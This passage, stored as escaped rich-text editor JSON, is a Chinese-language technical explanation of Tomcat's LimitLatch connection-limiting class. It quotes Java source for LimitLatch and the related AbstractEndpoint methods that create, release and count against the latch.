;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KLji-1659060133210&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;512u-1659060133206&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;LimitLatch&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bkiw-1659060133409&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jbXl-1659060133407&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;LimitLatch&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;主要是用来控制Tomcat所能接收的最大数量连接，如果超过了此连接，那么Tomcat就会将此连接线程阻塞等待，等里面有其他连接释放了再消费此连接。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:16},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ky9i-1659060206609&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xkk1-1659060206608&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cLHg-1659060202927&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cBo5-1659060207419&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HBzB-1659060207418&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class LimitLatch {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BnQw-1659060207421&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ATs4-1659060207420&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;upOq-1659060207423&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E7IE-1659060207422&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final Log log = LogFactory.getLog(LimitLatch.class);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pl8X-1659060207425&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;o6Sa-1659060207424&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Py5f-1659060207427&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zzp1-1659060207426&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private class Sync extends AbstractQueuedSynchronizer {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NwIb-1659060207429&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AnB3-1659060207428&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        private static final long serialVersionUID = 1L;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N5rZ-1659060207431&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QPaQ-1659060207430&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8V5d-1659060207433&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cLtJ-1659060207432&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        public Sync() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0HiQ-1659060207435&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DApS-1659060207434&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eg9G-1659060207438&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SxSc-1659060207437&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WrLv-1659060207440&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t1j2-1659060207439&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        @Override&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VVSL-1659060207442&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5A1A-1659060207441&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        protected int tryAcquireShared(int ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uXOH-1659060207444&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mIO5-1659060207443&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            long newCount = count.incrementAndGet();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;joGZ-1659060207446&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dw9O-1659060207445&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (!released &amp;&amp; newCount &gt;limit) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YhlB-1659060207448&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rRhy-1659060207447&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                // Limit exceeded&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;D7cA-1659060207450&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WAxp-1659060207449&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                count.decrementAndGet();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FlNr-1659060207452&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ht5C-1659060207451&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                return -1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iKz7-1659060207454&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FMWF-1659060207453&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HRIY-1659060207456&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z1n3-1659060207455&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                return 1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m4l2-1659060207458&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ddym-1659060207457&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CYKy-1659060207460&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Gkqy-1659060207459&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5ihW-1659060207462&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GjJC-1659060207461&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lZIN-1659060207464&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X1BZ-1659060207463&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        @Override&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;S4L6-1659060207466&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YCUH-1659060207465&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        protected boolean tryReleaseShared(int arg) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;J3cQ-1659060207468&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j8nC-1659060207467&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            count.decrementAndGet();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1YsU-1659060207470&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;k9pA-1659060207469&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return true;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Olvp-1659060207472&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P5sb-1659060207471&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GSeQ-1659060207474&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QaFH-1659060207473&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F03L-1659060207476&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xJOX-1659060207475&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kbZM-1659060207478&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d9Vp-1659060207477&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private final Sync sync;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iqIA-1659060207480&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QRjz-1659060207479&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    //当前连接数&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VbnM-1659060207482&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LWvc-1659060207481&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private final AtomicLong count;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mnOy-1659060207484&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jJgm-1659060207483&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    //最大连接数&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HgmI-1659060207486&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ti4k-1659060207485&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private volatile long limit;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lZPx-1659060207489&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n5y6-1659060207487&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private volatile boolean released = false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tw6M-1659060207491&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1H3R-1659060207490&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MIgM-1659060207493&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wIYv-1659060207492&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2lwK-1659060207495&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7vZ0-1659060207494&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BdQ3-1659060133584&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vfLA-1659060133583&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mmz8-1659060259165&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6wDK-1659060259164&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QzJv-1659060254018&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//在AbstractEndpoint类中实现的方法&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LuYO-1659060259888&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TgBa-1659060259887&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;......&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hjkZ-1659060265162&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;60dK-1659060265160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gvDq-1659060306776&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9Z6w-1659060306774&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;protected LimitLatch initializeConnectionLatch() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;n2eY-1659060301106&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CkdT-1659060301105&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.maxConnections == -1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IoTc-1659060301109&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jXlY-1659060301108&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fzXu-1659060301111&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Eqd3-1659060301110&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LFNq-1659060301113&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2YKy-1659060301112&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (this.connectionLimitLatch == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;plD6-1659060301115&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Sk3A-1659060301114&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.connectionLimitLatch = new LimitLatch((long)this.getMaxConnections());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XDot-1659060301117&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;40UN-1659060301116&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2cFf-1659060301119&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WZU0-1659060301118&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5ve5-1659060301121&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qRgd-1659060301120&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return this.connectionLimitLatch;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fW3l-1659060301123&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zmYS-1659060301122&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ww39-1659060301125&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4BYj-1659060301124&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qDzp-1659060301127&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iArU-1659060301126&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xFZa-1659060301129&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ovhP-1659060301128&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;protected void releaseConnectionLatch() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;o9u2-1659060301131&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CBtT-1659060301130&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    LimitLatch latch = this.connectionLimitLatch;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;os2v-1659060301133&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ENCo-1659060301132&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (latch != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eFCM-1659060301135&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0pxw-1659060301134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        latch.releaseAll();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3nD1-1659060301137&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GRzJ-1659060301136&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uJG8-1659060301139&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HB8U-1659060301138&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zpsu-1659060301141&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Mf6z-1659060301140&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    this.connectionLimitLatch = null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fTPn-1659060301143&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;35N0-1659060301142&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sNCE-1659060301145&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O2fk-1659060301144&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PGfD-1659060301147&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b50M-1659060301146&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;protected void countUpOrAwaitConnection() throws InterruptedException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;28dh-1659060301149&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6VGm-1659060301148&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.maxConnections != -1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pk1b-1659060301151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wosk-1659060301150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        LimitLatch latch = 